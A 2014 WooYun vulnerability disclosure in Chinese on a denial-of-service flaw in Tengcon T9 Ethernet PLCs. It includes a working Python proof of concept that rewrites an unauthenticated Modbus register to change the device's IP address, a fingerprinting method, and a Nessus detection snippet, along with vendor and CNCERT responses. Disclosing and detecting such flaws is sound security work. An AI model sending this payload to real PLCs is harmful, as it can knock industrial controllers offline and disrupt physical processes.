当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058494

漏洞标题:Tengcon T9系列 以太网PLC-Denial Of Service

相关厂商:北京腾控科技有限公司

漏洞作者: Z-0ne

提交时间:2014-04-26 18:26

修复时间:2014-06-10 18:26

公开时间:2014-06-10 18:26

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-26: 细节已通知厂商并且等待厂商处理中
2014-04-30: 厂商已经确认,细节仅向厂商公开
2014-05-10: 细节向核心白帽子及相关领域专家公开
2014-05-20: 细节向普通白帽子公开
2014-05-30: 细节向实习白帽子公开
2014-06-10: 细节向公众公开

简要描述:

对PLC攻击最最最最最最简单的一个示例,或许你已经猜到了,不知道算不算漏洞,功能和安全在如今你说该怎么选择?
大家可以多关注关注这些方面~

详细说明:

官方说明书:http://www.tengcon.com/download/T9_Hardware_Manual_V01.201106.rar
传统串口Modbus虽然有从站地址作为通讯唯一认证但是也只有1-255,而Modbus Tcp虽然定义了从站地址字段,但是通讯时可以被忽略,个人感觉把运行、停止、IP配置、串口配置等设置信息直接存放在可直接修改的HR寄存器是不妥的做法,况且此系列PLC还有以太网接口。

漏洞证明:

例如修改第82个HR寄存器第为254,操作这些寄存器可即时修改PLC IP地址,造成拒绝服务

import sys
import socket

test = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
test.connect(('127.0.0.1', 502))
test.send('\x00\x00\x00\x00\x00\x06\x01\x06\x00\x52\x00\xfe')
str = repr(test.recv(1024))
print str


腾控T9系列PLC指纹信息:
第一二个HR寄存器均为55aa,可以作为设备识别的手段
Nessus脚本代码片段

#
# start~
#
include("revisions-lib.inc");
include("misc_func.inc");
###TCP###
#定义端口变量
port=502;
#请填充"端口号"字段
#辨别端口状态
if(!(get_tcp_port_state(port)))exit(0);
#建立套接字
soc = open_sock_tcp(port);
if(soc)
{
#发送数据
send(socket:soc, data:raw_string(0x00,0x00,0x00,0x00,0x00,
0x06,0x01,0x03,0x00,0x01,
0x00,0x01));
#请填充"发送数据内容"字段
#接收数据
r = recv(socket:soc, length:1024);
#请填充"接收字段长度"字段
if(r == raw_string(0x00,0x00,0x00,0x00,0x00,
0x05,0x01,0x03,0x01,
0x55,0xaa))
{
report = "Tengcon T9 PLC Modbus TCP is Runing!";
security_warning(port:port,data:report);
}
#关闭套接字security_warning
###TCP###
}

修复方案:

增加工业协议过滤设备例如工业防火墙
隐藏敏感配置信息

版权声明:转载请注明来源 Z-0ne@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-04-30 22:52

厂商回复:

CNVD未掌握对应所述PLC产品,对于该漏洞分两个步骤进行处置:1、由CNCERT向上级主管单位报告情况;2、由CNVD尝试联系生产厂商处置。按CVSS评分来,应该是基准分7.1,考虑到工业控制系统的特殊性,z-0ne同学的工作很有代表性。rank 20

最新状态:

暂无